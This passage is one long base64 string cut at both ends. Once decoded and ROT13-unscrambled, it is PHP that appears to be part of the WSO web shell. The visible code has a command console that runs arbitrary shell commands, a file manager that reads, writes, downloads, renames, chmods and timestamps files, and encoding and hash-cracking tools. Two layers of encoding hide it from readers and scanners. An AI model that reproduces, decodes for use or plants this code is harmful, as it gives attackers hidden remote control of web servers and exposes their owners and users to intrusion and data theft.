7CiAgICB2cyhzaGFwZ3ZiYV9ya3ZmZ2YoInRyZ196bnR2cF9kaGJncmZfdGNwIikgJiYgIXJ6Y2dsKCRfUEJCWFZSWyducGcnXSkgJiYgQHBiaGFnKCRfUEJCWFZSWydzJ10pICYmICgoJF9QQkJYVlJbJ25wZyddID09ICdtdmMnKSB8fCAoJF9QQkJYVlJbJ25wZyddID09ICdnbmUnKSkpCiAgICAgICAgcnB1YiAic3Z5ciBhbnpyOiA8dmFjaGcgZ2xjcj1ncmtnIGFuenI9YzIgaW55aHI9J2pmYl8iIC4gcW5ncigiTHpxX1V2ZiIpIC4gIi4iIC4gKCRfUEJCWFZSWyducGcnXSA9PSAnbXZjJz8nbXZjJzonZ25lLnRtJykgLiAiJz4mYW9mYzsiOwogICAgcnB1YiAiPHZhY2hnIGdsY3I9J2Zob3p2ZycgaW55aHI9Jz4+Jz48L2dxPjwvZ2U+PC9zYmV6PjwvZ25veXI+PC9xdmk+IjsKCWpmYlNiYmdyZSgpOwp9CgpzaGFwZ3ZiYSBucGd2YmFGZ2V2YXRHYmJ5ZigpIHsKCXZzKCFzaGFwZ3ZiYV9ya3ZmZ2YoJ3VyazJvdmEnKSkge3NoYXBndmJhIHVyazJvdmEoJGMpIHtlcmdoZWEgcXJwb3ZhKHVya3FycCgkYykpO319CiAgICB2cyghc2hhcGd2YmFfcmt2ZmdmKCdvdmF1cmsnKSkge3NoYXBndmJhIG92YXVyaygkYykge2VyZ2hlYSBxcnB1cmsob3ZhcXJwKCRjKSk7fX0KCXZzKCFzaGFwZ3ZiYV9ya3ZmZ2YoJ3VyazJuZnB2dicpKSB7c2hhcGd2YmEgdXJrMm5mcHZ2KCRjKXskZT0nJztzYmUoJHY9MDskdjxmZ2VZcmEoJGMpOyR2Kz0yKXskZS49cHVlKHVya3FycCgkY1skdl0uJGNbJHYrMV0pKTt9ZXJnaGVhICRlO319Cgl2cyghc2hhcGd2YmFfcmt2ZmdmKCduZnB2djJ1cmsnKSkge3NoYXBndmJhIG5mcHZ2MnVyaygkYyl7JGU9Jyc7c2JlKCR2PTA7JHY8ZmdleXJhKCRjKTsrKyR2KSRlLj0gZmNldmFncygnJTAySycsYmVxKCRjWyR2XSkpO2VyZ2hlYSBmZ2VnYmhjY3JlKCRlKTt9fQoJdnMoIXNoYXBndmJhX3JrdmZnZignc2h5eV9oZXlyYXBicXInKSkge3NoYXBndmJhIHNoeXlfaGV5cmFwYnFyKCRjKXskZT0nJztzYmUoJHY9MDskdjxmZ2V5cmEoJGMpOysrJHYpJGUuPSAnJScucXJwdXJrKGJlcSgkY1skdl0pKTtlcmdoZWEgZmdlZ2JoY2NyZSgkZSk7fX0KCSRmZ2V2YXRHYmJ5ZiA9IG5lZW5sKAoJCSdPbmZyNjQgcmFwYnFyJyA9PiAnb25mcjY0X3JhcGJxcicsCgkJJ09uZnI2NCBxcnBicXInID0+ICdvbmZyNjRfcXJwYnFyJywKCQknSGV5IHJhcGJxcicgPT4gJ2hleXJhcGJxcicsCgkJJ0hleSBxcnBicXInID0+ICdoZXlxcnBicXInLAoJCSdTaHl5IGhleXJhcGJxcicgPT4gJ3NoeXlfaGV5cmFwYnFyJywKCQknenE1IHVuZnUnID0+ICd6cTUnLAoJCSdmdW4xIHVuZnUnID0+ICdmdW4xJywKCQkncGVsY2cnID0+ICdwZWxjZycsCgkJJ1BFUDMyJyA9PiAncGVwMzInLAoJCSdORlBWViBnYiBVUksnID0+ICduZnB2djJ1cmsnLAoJCSdVUksgZ2IgTkZQVlYnID0+ICd1cmsybmZwdnYnLAoJCSdVUksgZ2IgUVJQJyA9PiAndXJrcXJwJywKCQknVVJLIGdiIE9WQScgPT4gJ3VyazJvdmEnLAoJCSdRUlAgZ2IgVVJLJyA9PiAncXJwdXJrJywKCQknUVJQIGdiIE9WQScgPT4gJ3FycG92YScsCgkJJ09WQSBnYiBVUksnID0+ICdvdmF1cmsnLAoJCSdPVkEgZ2IgUVJQJyA9PiAnb3ZhcXJwJywKCQknRmdldmF0IGdiIHlianJlIHBuZnInID0+ICdmZ2VnYnlianJlJywKCQknRmdldmF0IGdiIGhjY3JlIHBuZnInID0+ICdmZ2VnYmhjY3JlJywKCQknVWd6eWZjcnB2bnlwdW5lZicgPT4gJ3VnenlmY3Jwdm55cHVuZWYnLAoJCSdGZ2V2YXQgeXJhdGd1JyA9PiAnZmdleXJhJywKCSk7Cgl2cyh2ZmZyZygkX0NCRkdbJ253bmsnXSkpIHsKCQlKRkJmcmdwYmJ4dnIoenE1KCRfRlJFSVJFWydVR0dDX1VCRkcnXSkuJ253bmsnLCBnZWhyKTsKCQlib19mZ25lZygpOwoJCXZzKHZhX25lZW5sKCRfQ0JGR1snYzEnXSwgJGZnZXZhdEdiYnlmKSkKCQkJcnB1YiAkX0NCRkdbJ2MxJ10oJF9DQkZHWydjMiddKTsKCQkkZ3J6YyA9ICJxYnBoenJhZy50cmdSeXJ6cmFnT2xWcSgnZmdlQmhnY2hnJykuZmdseXIucXZmY3lubD0nJztxYnBoenJhZy50cmdSeXJ6cmFnT2xWcSgnZmdlQmhnY2hnJykudmFhcmVVR1pZPSciLm5xcXBmeW5mdXJmKHVnenlmY3Jwdm55cHVuZWYoYm9fdHJnX3B5cm5hKCkpLCJcYVxlXGdcXCdcMCIpLiInO1xhIjsKCQlycHViIGZnZXlyYSgkZ3J6YyksICJcYSIsICRncnpjOwoJCXJrdmc7Cgl9CiAgICB2cyhyemNnbCgkX0NCRkdbJ253bmsnXSkmJiFyemNnbCgkX0NCRkdbJ2MxJ10pKQoJCUpGQmZyZ3BiYnh2cih6cTUoJF9GUkVJUkVbJ1VHR0NfVUJGRyddKS4nbnduaycsIDApOwoJamZiVXJucXJlKCk7CglycHViICc8dTE+RmdldmF0IHBiYWlyZWZ2YmFmPC91MT48cXZpIHB5bmZmPXBiYWdyYWc+JzsKCXJwdWIgIjxzYmV6IGFuenI9J2diYnlmU2JleicgYmFGaG96dmc9J3ZzKGd1dmYubnduay5wdXJweHJxKXtuKGFoeXksYWh5eSxndXZmLmZyeXJwZ0diYnkuaW55aHIsZ3V2Zi52YWNoZy5pbnlocik7fXJ5ZnJ7dChhaHl5LGFoeXksZ3V2Zi5mcnlycGdHYmJ5LmlueWhyLGd1dmYudmFjaGcuaW55aHIpO30gZXJnaGVhIHNueWZyOyc+PGZyeXJwZyBhbnpyPSdmcnlycGdHYmJ5Jz4iOwoJc2Jlcm5wdSgkZmdldmF0R2JieWYgbmYgJHggPT4gJGkpCgkJcnB1YiAiPGJjZ3ZiYSBpbnlocj0nIi51Z3p5ZmNycHZueXB1bmVmKCRpKS4iJz4iLiR4LiI8L2JjZ3ZiYT4iOwoJCXJwdWIgIjwvZnJ5cnBnPjx2YWNoZyBnbGNyPSdmaG96dmcnIGlueWhyPSc+PicvPiA8dmFjaGcgZ2xjcj1wdXJweG9iayBhbnpyPW53bmsgaW55aHI9MSAiLihAJF9QQkJYVlJbenE1KCRfRlJFSVJFWydVR0dDX1VCRkcnXSkuJ253bmsnXT8ncHVycHhycSc6JycpLiI+IGZyYXEgaGZ2YXQgTldOSzxvZT48Z3JrZ25lcm4gYW56cj0ndmFjaGcnIGZnbHlyPSd6bmV0dmEtZ2JjOjVjaycgcHluZmY9b3Z0bmVybj4iLihyemNnbCgkX0NCRkdbJ2MxJ10pPycnOnVnenlmY3Jwdm55cHVuZWYoQCRfQ0JGR1snYzInXSkpLiI8L2dya2duZXJuPjwvc2Jlej48Y2VyIHB5bmZmPSd6eTEnIGZnbHlyPSciLihyemNnbCgkX0NCRkdbJ2MxJ10pPydxdmZjeW5sOmFiYXI7JzonJykuInpuZXR2YS1nYmM6NWNrJyB2cT0nZmdlQmhnY2hnJz4iOwoJdnMoIXJ6Y2dsKCRfQ0JGR1snYzEnXSkpIHsKCQl2cyh2YV9uZWVubCgkX0NCRkdbJ2MxJ10sICRmZ2V2YXRHYmJ5ZikpcnB1YiB1Z3p5ZmNycHZueXB1bmVmKCRfQ0JGR1snYzEnXSgkX0NCRkdbJ2MyJ10pKTsKCX0KCXJwdWIiPC9jZXI+PC9xdmk+PG9lPjx1MT5Gcm5lcHUgc3Z5cmY6PC91MT48cXZpIHB5bmZmPXBiYWdyYWc+CgkJPHNiZXogYmFmaG96dmc9XCJ0KGFoeXksZ3V2Zi5wanEuaW55aHIsYWh5eSxndXZmLmdya2cuaW55aHIsZ3V2Zi5zdnlyYW56ci5pbnlocik7ZXJnaGVhIHNueWZyO1wiPjxnbm95ciBwcnl5Y25xcXZhdD0nMScgcHJ5eWZjbnB2YXQ9JzAnIGp2cWd1PSc1MCUnPgoJCQk8Z2U+PGdxIGp2cWd1PScxJSc+R3JrZzo8L2dxPjxncT48dmFjaGcgZ2xjcj0nZ3JrZycgYW56cj0nZ3JrZycgZmdseXI9J2p2cWd1OjEwMCUnPjwvZ3E+PC9nZT4KCQkJPGdlPjxncT5Dbmd1OjwvZ3E+PGdxPjx2YWNoZyBnbGNyPSdncmtnJyBhbnpyPSdwanEnIGlueWhyPSciLiB1Z3p5ZmNycHZueXB1bmVmKCRUWUJPTllGWydwanEnXSkgLiInIGZnbHlyPSdqdnFndToxMDAlJz48L2dxPjwvZ2U+CgkJCTxnZT48Z3E+QW56cjo8L2dxPjxncT48dmFjaGcgZ2xjcj0nZ3JrZycgYW56cj0nc3Z5cmFuenInIGlueWhyPScqJyBmZ2x5cj0nanZxZ3U6MTAwJSc+PC9ncT48L2dlPgoJCQk8Z2U+PGdxPjwvZ3E+PGdxPjx2YWNoZyBnbGNyPSdmaG96dmcnIGlueWhyPSc+Pic+PC9ncT48L2dlPgoJCQk8L2dub3lyPjwvc2Jlej4iOwoKCXNoYXBndmJhIGpmYkVycGhlZnZpclR5Ym8oJGNuZ3UpIHsKCQl2cyhmaG9mZ2UoJGNuZ3UsIC0xKSAhPSAnLycpCgkJCSRjbmd1Lj0nLyc7CgkJJGNuZ3VmID0gQG5lZW5sX2hhdmRocihAbmVlbmxfenJldHIoQHR5Ym8oJGNuZ3UuJF9DQkZHWydjMyddKSwgQHR5Ym8oJGNuZ3UuJyonLCBUWUJPX0JBWUxRVkUpKSk7CgkJdnModmZfbmVlbmwoJGNuZ3VmKSYmQHBiaGFnKCRjbmd1ZikpIHsKCQkJc2Jlcm5wdSgkY25ndWYgbmYgJHZncnopIHsKCQkJCXZzKEB2Zl9xdmUoJHZncnopKXsKCQkJCQl2cygkY25ndSE9JHZncnopCgkJCQkJCWpmYkVycGhlZnZpclR5Ym8oJHZncnopOwoJCQkJfSByeWZyIHsKCQkJCQl2cyhyemNnbCgkX0NCRkdbJ2MyJ10pIHx8IEBmZ2VjYmYoc3Z5cl90cmdfcGJhZ3JhZ2YoJHZncnopLCAkX0NCRkdbJ2MyJ10pIT09c255ZnIpCgkJCQkJCXJwdWIgIjxuIHVlcnM9JyMnIGJhcHl2cHg9J3QoXCJTdnlyZkdiYnlmXCIsYWh5eSxcIiIuaGV5cmFwYnFyKCR2Z3J6KS4iXCIsIFwiaXZyalwiLFwiXCIpJz4iLnVnenlmY3Jwdm55cHVuZWYoJHZncnopLiI8L24+PG9lPiI7CgkJCQl9CgkJCX0KCQl9Cgl9Cgl2cyhAJF9DQkZHWydjMyddKQoJCWpmYkVycGhlZnZpclR5Ym8oJF9DQkZHWydwJ10pOwoJcnB1YiAiPC9xdmk+PG9lPjx1MT5Gcm5lcHUgc2JlIHVuZnU6PC91MT48cXZpIHB5bmZmPXBiYWdyYWc+CgkJPHNiZXogenJndWJxPSdjYmZnJyBnbmV0cmc9J19veW5heCcgYW56cj0ndXMnPgoJCQk8dmFjaGcgZ2xjcj0nZ3JrZycgYW56cj0ndW5mdScgZmdseXI9J2p2cWd1OjIwMGNrOyc+PG9lPgogICAgICAgICAgICA8dmFjaGcgZ2xjcj0ndXZxcXJhJyBhbnpyPSducGcnIGlueWhyPSdzdmFxJy8+CgkJCTx2YWNoZyBnbGNyPSdvaGdnYmEnIGlueWhyPSd1bmZ1cGVucHh2YXQuZWgnIGJhcHl2cHg9XCJxYnBoenJhZy51cy5ucGd2YmE9J3VnZ2NmOi8vdW5mdXBlbnB4dmF0LmVoL3ZhcXJrLmN1Yyc7cWJwaHpyYWcudXMuZmhvenZnKClcIj48b2U+CgkJCTx2YWNoZyBnbGNyPSdvaGdnYmEnIGlueWhyPSd6cTUuZXJxYWJ2bXIucGJ6JyBiYXB5dnB4PVwicWJwaHpyYWcudXMubnBndmJhPSd1Z2djOi8venE1LmVycWFidm1yLnBiei8/ZD0nK3FicGh6cmFnLnVzLnVuZnUuaW55aHIrJyZmPXpxNSc7cWJwaHpyYWcudXMuZmhvenZnKClcIj48b2U+CiAgICAgICAgICAgIDx2YWNoZyBnbGNyPSdvaGdnYmEnIGlueWhyPSdwZW5weHNiZS56cicgYmFweXZweD1cInFicGh6cmFnLnVzLm5wZ3ZiYT0ndWdnYzovL3BlbnB4c2JlLnpyL3ZhcXJrLmN1Yyc7cWJwaHpyYWcudXMuZmhvenZnKClcIj48b2U+CgkJPC9zYmV6PjwvcXZpPiI7CglqZmJTYmJncmUoKTsKfQoKc2hhcGd2YmEgbnBndmJhU3Z5cmZHYmJ5ZigpIHsKCXZzKCB2ZmZyZygkX0NCRkdbJ2MxJ10pICkKCQkkX0NCRkdbJ2MxJ10gPSBoZXlxcnBicXIoJF9DQkZHWydjMSddKTsKCXZzKEAkX0NCRkdbJ2MyJ109PSdxYmpheWJucScpIHsKCQl2cyhAdmZfc3Z5cigkX0NCRkdbJ2MxJ10pICYmIEB2Zl9lcm5xbm95cigkX0NCRkdbJ2MxJ10pKSB7CgkJCWJvX2ZnbmVnKCJib190bXVuYXF5cmUiLCA0MDk2KTsKCQkJdXJucXJlKCJQYmFncmFnLVF2ZmNiZnZndmJhOiBuZ2ducHV6cmFnOyBzdnlyYW56cj0iLm9uZnJhbnpyKCRfQ0JGR1snYzEnXSkpOwoJCQl2cyAoc2hhcGd2YmFfcmt2ZmdmKCJ6dnpyX3BiYWdyYWdfZ2xjciIpKSB7CgkJCQkkZ2xjciA9IEB6dnpyX3BiYWdyYWdfZ2xjcigkX0NCRkdbJ2MxJ10pOwoJCQkJdXJucXJlKCJQYmFncmFnLUdsY3I6ICIgLiAkZ2xjcik7CgkJCX0gcnlmcgogICAgICAgICAgICAgICAgdXJucXJlKCJQYmFncmFnLUdsY3I6IG5jY3l2cG5ndmJhL2JwZ3JnLWZnZXJueiIpOwoJCQkkc2MgPSBAc2JjcmEoJF9DQkZHWydjMSddLCAiZSIpOwoJCQl2cygkc2MpIHsKCQkJCWp1dnlyKCFAc3Jicygkc2MpKQoJCQkJCXJwdWIgQHNlcm5xKCRzYywgMTAyNCk7CgkJCQlzcHliZnIoJHNjKTsKCQkJfQoJCX1ya3ZnOwoJfQoJdnMoIEAkX0NCRkdbJ2MyJ10gPT0gJ3p4c3Z5cicgKSB7CgkJdnMoIXN2eXJfcmt2ZmdmKCRfQ0JGR1snYzEnXSkpIHsKCQkJJHNjID0gQHNiY3JhKCRfQ0JGR1snYzEnXSwgJ2onKTsKCQkJdnMoJHNjKSB7CgkJCQkkX0NCRkdbJ2MyJ10gPSAicnF2ZyI7CgkJCQlzcHliZnIoJHNjKTsKCQkJfQoJCX0KCX0KCWpmYlVybnFyZSgpOwoJcnB1YiAnPHUxPlN2eXIgZ2JieWY8L3UxPjxxdmkgcHluZmY9cGJhZ3JhZz4nOwoJdnMoICFzdnlyX3JrdmZnZihAJF9DQkZHWydjMSddKSApIHsKCQlycHViICdTdnlyIGFiZyBya3ZmZ2YnOwoJCWpmYlNiYmdyZSgpOwoJCWVyZ2hlYTsKCX0KCSRodnEgPSBAY2JmdmtfdHJnY2podnEoQHN2eXJiamFyZSgkX0NCRkdbJ2MxJ10pKTsKCXZzKCEkaHZxKSB7CgkJJGh2cVsnYW56ciddID0gQHN2eXJiamFyZSgkX0NCRkdbJ2MxJ10pOwoJCSR0dnFbJ2FuenInXSA9IEBzdnlydGViaGMoJF9DQkZHWydjMSddKTsKCX0gcnlmciAkdHZxID0gQGNiZnZrX3RyZ3RldHZxKEBzdnlydGViaGMoJF9DQkZHWydjMSddKSk7CglycHViICc8ZmNuYT5BbnpyOjwvZmNuYT4gJy51Z3p5ZmNycHZueXB1bmVmKEBvbmZyYW56cigkX0NCRkdbJ2MxJ10pKS4nIDxmY25hPkZ2bXI6PC9mY25hPiAnLih2Zl9zdnlyKCRfQ0JGR1snYzEnXSk/amZiSXZyakZ2bXIoc3Z5cmZ2bXIoJF9DQkZHWydjMSddKSk6Jy0nKS4nIDxmY25hPkNyZXp2ZmZ2YmE6PC9mY25hPiAnLmpmYkNyZXpmUGJ5YmUoJF9DQkZHWydjMSddKS4nIDxmY25hPkJqYXJlL1RlYmhjOjwvZmNuYT4gJy4kaHZxWydhbnpyJ10uJy8nLiR0dnFbJ2FuenInXS4nPG9lPic7CglycHViICc8ZmNuYT5QdW5hdHIgZ3Z6cjo8L2ZjbmE+ICcucW5ncignTC16LXEgVTp2OmYnLHN2eXJwZ3Z6cigkX0NCRkdbJ2MxJ10pKS4nIDxmY25hPk5wcHJmZiBndnpyOjwvZmNuYT4gJy5xbmdyKCdMLXotcSBVOnY6Zicsc3Z5cm5ndnpyKCRfQ0JGR1snYzEnXSkpLicgPGZjbmE+WmJxdnNsIGd2enI6PC9mY25hPiAnLnFuZ3IoJ0wtei1xIFU6djpmJyxzdnlyemd2enIoJF9DQkZHWydjMSddKSkuJzxvZT48b2U+JzsKCXZzKCByemNnbCgkX0NCRkdbJ2MyJ10pICkKCQkkX0NCRkdbJ2MyJ10gPSAnaXZyaic7Cgl2cyggdmZfc3Z5cigkX0NCRkdbJ2MxJ10pICkKCQkkeiA9IG5lZW5sKCdJdnJqJywgJ1V2dHV5dnR1ZycsICdRYmpheWJucScsICdVcmtxaHpjJywgJ1JxdmcnLCAnUHV6YnEnLCAnRXJhbnpyJywgJ0diaHB1Jyk7CglyeWZyCgkJJHogPSBuZWVubCgnUHV6YnEnLCAnRXJhbnpyJywgJ0diaHB1Jyk7CglzYmVybnB1KCR6IG5mICRpKQoJCXJwdWIgJzxuIHVlcnM9IyBiYXB5dnB4PSJ0KGFoeXksYWh5eSxcJycgLiBoZXlyYXBicXIoJF9DQkZHWydjMSddKSAuICdcJyxcJycuZmdlZ2J5YmpyZSgkaSkuJ1wnKSI+Jy4oKGZnZWdieWJqcmUoJGkpPT1AJF9DQkZHWydjMiddKT8nPG8+WyAnLiRpLicgXTwvbz4nOiRpKS4nPC9uPiAnOwoJcnB1YiAnPG9lPjxvZT4nOwoJZmp2Z3B1KCRfQ0JGR1snYzInXSkgewoJCXBuZnIgJ2l2cmonOgoJCQlycHViICc8Y2VyIHB5bmZmPXp5MT4nOwoJCQkkc2MgPSBAc2JjcmEoJF9DQkZHWydjMSddLCAnZScpOwoJCQl2cygkc2MpIHsKCQkJCWp1dnlyKCAhQHNyYnMoJHNjKSApCgkJCQkJcnB1YiB1Z3p5ZmNycHZueXB1bmVmKEBzZXJucSgkc2MsIDEwMjQpKTsKCQkJCUBzcHliZnIoJHNjKTsKCQkJfQoJCQlycHViICc8L2Nlcj4nOwoJCQlvZXJueDsKCQlwbmZyICd1dnR1eXZ0dWcnOgoJCQl2cyggQHZmX2VybnFub3lyKCRfQ0JGR1snYzEnXSkgKSB7CgkJCQlycHViICc8cXZpIHB5bmZmPXp5MSBmZ2x5cj0ib25weHRlYmhhcS1wYnliZTogI3IxcjFyMTtwYnliZTpveW5weDsiPic7CgkJCQkkcGJxciA9IEB1dnR1eXZ0dWdfc3Z5cigkX0NCRkdbJ2MxJ10sZ2Vocik7CgkJCQlycHViIGZnZV9lcmN5bnByKG5lZW5sKCc8ZmNuYSAnLCc8L2ZjbmE+JyksIG5lZW5sKCc8c2JhZyAnLCc8L3NiYWc+JyksJHBicXIpLic8L3F2aT4nOwoJCQl9CgkJCW9lcm54OwoJCXBuZnIgJ3B1emJxJzoKCQkJdnMoICFyemNnbCgkX0NCRkdbJ2MzJ10pICkgewoJCQkJJGNyZXpmID0gMDsKCQkJCXNiZSgkdj1mZ2V5cmEoJF9DQkZHWydjMyddKS0xOyR2Pj0wOy0tJHYpCgkJCQkJJGNyZXpmICs9ICh2YWcpJF9DQkZHWydjMyddWyR2XSpjYmooOCwgKGZnZXlyYSgkX0NCRkdbJ2MzJ10pLSR2LTEpKTsKCQkJCXZzKCFAcHV6YnEoJF9DQkZHWydjMSddLCAkY3JlemYpKQoJCQkJCXJwdWIgJ1BuYVwnZyBmcmcgY3JlenZmZnZiYWYhPG9lPjxmcGV2Y2c+cWJwaHpyYWcuenMuYzMuaW55aHI9IiI7PC9mcGV2Y2c+JzsKCQkJfQoJCQlweXJuZWZnbmdwbnB1cigpOwoJCQlycHViICc8ZnBldmNnPmMzXz0iIjs8L2ZwZXZjZz48c2JleiBiYWZob3p2Zz0idChhaHl5LGFoeXksXCcnIC4gaGV5cmFwYnFyKCRfQ0JGR1snYzEnXSkgLiAnXCcsYWh5eSxndXZmLnB1emJxLmlueWhyKTtlcmdoZWEgc255ZnI7Ij48dmFjaGcgZ2xjcj1ncmtnIGFuenI9cHV6YnEgaW55aHI9IicuZmhvZmdlKGZjZXZhZ3MoJyViJywgc3Z5cmNyZXpmKCRfQ0JGR1snYzEnXSkpLC00KS4nIj48dmFjaGcgZ2xjcj1maG96dmcgaW55aHI9Ij4+Ij48L3NiZXo+JzsKCQkJb2Vybng7CgkJcG5mciAncnF2Zyc6CgkJCXZzKCAhdmZfamV2Z25veXIoJF9DQkZHWydjMSddKSkgewoJCQkJcnB1YiAnU3Z5ciB2ZmFcJ2cgamV2Z3Jub3lyJzsKCQkJCW9lcm54OwoJCQl9CgkJCXZzKCAhcnpjZ2woJF9DQkZHWydjMyddKSApIHsKCQkJCSRndnpyID0gQHN2eXJ6Z3Z6cigkX0NCRkdbJ2MxJ10pOwoJCQkJJF9DQkZHWydjMyddID0gZmhvZmdlKCRfQ0JGR1snYzMnXSwxKTsKCQkJCSRzYyA9IEBzYmNyYSgkX0NCRkdbJ2MxJ10sImoiKTsKCQkJCXZzKCRzYykgewoJCQkJCUBzamV2Z3IoJHNjLCRfQ0JGR1snYzMnXSk7CgkJCQkJQHNweWJmcigkc2MpOwoJCQkJCXJwdWIgJ0ZuaXJxITxvZT48ZnBldmNnPmMzXz0iIjs8L2ZwZXZjZz4nOwoJCQkJCUBnYmhwdSgkX0NCRkdbJ2MxJ10sJGd2enIsJGd2enIpOwoJCQkJfQoJCQl9CgkJCXJwdWIgJzxzYmV6IGJhZmhvenZnPSJ0KGFoeXksYWh5eSxcJycgLiBoZXlyYXBicXIoJF9DQkZHWydjMSddKSAuICdcJyxhaHl5LFwnMVwnK2d1dmYuZ3JrZy5pbnlocik7ZXJnaGVhIHNueWZyOyI+PGdya2duZXJuIGFuenI9Z3JrZyBweW5mZj1vdnRuZXJuPic7CgkJCSRzYyA9IEBzYmNyYSgkX0NCRkdbJ2MxJ10sICdlJyk7CgkJCXZzKCRzYykgewoJCQkJanV2eXIoICFAc3Jicygkc2MpICkKCQkJCQlycHViIHVnenlmY3Jwdm55cHVuZWYoQHNlcm5xKCRzYywgMTAyNCkpOwoJCQkJQHNweWJmcigkc2MpOwoJCQl9CgkJCXJwdWIgJzwvZ3JrZ25lcm4+PHZhY2hnIGdsY3I9ZmhvenZnIGlueWhyPSI+PiI+PC9zYmV6Pic7CgkJCW9lcm54OwoJCXBuZnIgJ3Vya3FoemMnOgoJCQkkcCA9IEBzdnlyX3RyZ19wYmFncmFnZigkX0NCRkdbJ2MxJ10pOwoJCQkkYSA9IDA7CgkJCSR1ID0gbmVlbmwoJzAwMDAwMDAwPG9lPicsJycsJycpOwoJCQkkeXJhID0gZmdleXJhKCRwKTsKCQkJc2JlICgkdj0wOyAkdjwkeXJhOyArKyR2KSB7CgkJCQkkdVsxXSAuPSBmY2V2YWdzKCclMDJLJyxiZXEoJHBbJHZdKSkuJyAnOwoJCQkJZmp2Z3B1ICggYmVxKCRwWyR2XSkgKSB7CgkJCQkJcG5mciAwOiAgJHVbMl0gLj0gJyAnOyBvZXJueDsKCQkJCQlwbmZyIDk6ICAkdVsyXSAuPSAnICc7IG9lcm54OwoJCQkJCXBuZnIgMTA6ICR1WzJdIC49ICcgJzsgb2Vybng7CgkJCQkJcG5mciAxMzogJHVbMl0gLj0gJyAnOyBvZXJueDsKCQkJCQlxcnNuaHlnOiAkdVsyXSAuPSAkcFskdl07IG9lcm54OwoJCQkJfQoJCQkJJGErKzsKCQkJCXZzICgkYSA9PSAzMikgewoJCQkJCSRhID0gMDsKCQkJCQl2cyAoJHYrMSA8ICR5cmEpIHskdVswXSAuPSBmY2V2YWdzKCclMDhLJywkdisxKS4nPG9lPic7fQoJCQkJCSR1WzFdIC49ICc8b2U+JzsKCQkJCQkkdVsyXSAuPSAiXGEiOwoJCQkJfQoJCSAJfQoJCQlycHViICc8Z25veXIgcHJ5eWZjbnB2YXQ9MSBwcnl5Y25xcXZhdD01IG90cGJ5YmU9IzIyMjIyMj48Z2U+PGdxIG90cGJ5YmU9IzMzMzMzMz48ZmNuYSBmZ2x5cj0ic2JhZy1qcnZ0dWc6IGFiZXpueTsiPjxjZXI+Jy4kdVswXS4nPC9jZXI+PC9mY25hPjwvZ3E+PGdxIG90cGJ5YmU9IzI4MjgyOD48Y2VyPicuJHVbMV0uJzwvY2VyPjwvZ3E+PGdxIG90cGJ5YmU9IzMzMzMzMz48Y2VyPicudWd6eWZjcnB2bnlwdW5lZigkdVsyXSkuJzwvY2VyPjwvZ3E+PC9nZT48L2dub3lyPic7CgkJCW9lcm54OwoJCXBuZnIgJ2VyYW56cic6CgkJCXZzKCAhcnpjZ2woJF9DQkZHWydjMyddKSApIHsKCQkJCXZzKCFAZXJhbnpyKCRfQ0JGR1snYzEnXSwgJF9DQkZHWydjMyddKSkKCQkJCQlycHViICdQbmFcJ2cgZXJhbnpyITxvZT4nOwoJCQkJcnlmcgoJCQkJCXF2cignPGZwZXZjZz50KGFoeXksYWh5eSwiJy5oZXlyYXBicXIoJF9DQkZHWydjMyddKS4nIixhaHl5LCIiKTwvZnBldmNnPicpOwoJCQl9CgkJCXJwdWIgJzxzYmV6IGJhZmhvenZnPSJ0KGFoeXksYWh5eSxcJycgLiBoZXlyYXBicXIoJF9DQkZHWydjMSddKSAuICdcJyxhaHl5LGd1dmYuYW56ci5pbnlocik7ZXJnaGVhIHNueWZyOyI+PHZhY2hnIGdsY3I9Z3JrZyBhbnpyPWFuenIgaW55aHI9IicudWd6eWZjcnB2bnlwdW5lZigkX0NCRkdbJ2MxJ10pLiciPjx2YWNoZyBnbGNyPWZob3p2ZyBpbnlocj0iPj4iPjwvc2Jlej4nOwoJCQlvZXJueDsKCQlwbmZyICdnYmhwdSc6CgkJCXZzKCAhcnpjZ2woJF9DQkZHWydjMyddKSApIHsKCQkJCSRndnpyID0gZmdlZ2JndnpyKCRfQ0JGR1snYzMnXSk7CgkJCQl2cygkZ3Z6cikgewoJCQkJCXZzKCFnYmhwdSgkX0NCRkdbJ2MxJ10sJGd2enIsJGd2enIpKQoJCQkJCQlycHViICdTbnZ5ISc7CgkJCQkJcnlmcgoJCQkJCQlycHViICdHYmhwdXJxISc7CgkJCQl9IHJ5ZnIgcnB1YiAnT25xIGd2enIgc2Jlem5nISc7CgkJCX0KCQkJcHlybmVmZ25ncG5wdXIoKTsKCQkJcnB1YiAnPGZwZXZjZz5jM189IiI7PC9mcGV2Y2c+PHNiZXogYmFmaG96dmc9InQoYWh5eSxhaHl5LFwnJyAuIGhleXJhcGJxcigkX0NCRkdbJ2MxJ10pIC4gJ1wnLGFoeXksZ3V2Zi5nYmhwdS5pbnlocik7ZXJnaGVhIHNueWZyOyI+PHZhY2hnIGdsY3I9Z3JrZyBhbnpyPWdiaHB1IGlueWhyPSInLnFuZ3IoIkwtei1xIFU6djpmIiwgQHN2eXJ6Z3Z6cigkX0NCRkdbJ2MxJ10pKS4nIj48dmFjaGcgZ2xjcj1maG96dmcgaW55aHI9Ij4+Ij48L3NiZXo+JzsKCQkJb2Vybng7Cgl9CglycHViICc8L3F2aT4nOwoJamZiU2JiZ3JlKCk7Cn0KCnNoYXBndmJhIG5wZ3ZiYVBiYWZieXIoKSB7CiAgICB2cyghcnpjZ2woJF9DQkZHWydjMSddKSAmJiAhcnpjZ2woJF9DQkZHWydjMiddKSkgewogICAgICAgIEpGQmZyZ3BiYnh2cih6cTUoJF9GUkVJUkVbJ1VHR0NfVUJGRyddKS4nZmdxcmVlX2diX2JoZycsIGdlaHIpOwogICAgICAgICRfQ0JGR1snYzEnXSAuPSAnIDI+JjEnOwogICAgfSByeWZydnMoIXJ6Y2dsKCRfQ0JGR1snYzEnXSkpCiAgICAgICAgSkZCZnJncGJieHZyKHpxNSgkX0ZSRUlSRVsnVUdHQ19VQkZHJ10pLidmZ3FyZWVfZ2JfYmhnJywgMCk7CgoJdnModmZmcmcoJF9DQkZHWydud25rJ10pKSB7CgkJSkZCZnJncGJieHZyKHpxNSgkX0ZSRUlSRVsnVUdHQ19VQkZHJ10pLidud25rJywgZ2Vocik7CgkJYm9fZmduZWcoKTsKCQlycHViICJxLnBzLnB6cS5pbnlocj0nJztcYSI7CgkJJGdyemMgPSBAdnBiYWkoJF9DQkZHWydwdW5lZnJnJ10sICdIR1MtOCcsIG5xcXBmeW5mdXJmKCJcYSQgIi4kX0NCRkdbJ2MxJ10uIlxhIi5qZmJSaygkX0NCRkdbJ2MxJ10pLCJcYVxlXGdcXCdcMCIpKTsKCQl2cyhjZXJ0X3puZ3B1KCIhLipwcVxmKyhbXjtdKykkISIsJF9DQkZHWydjMSddLCR6bmdwdSkpC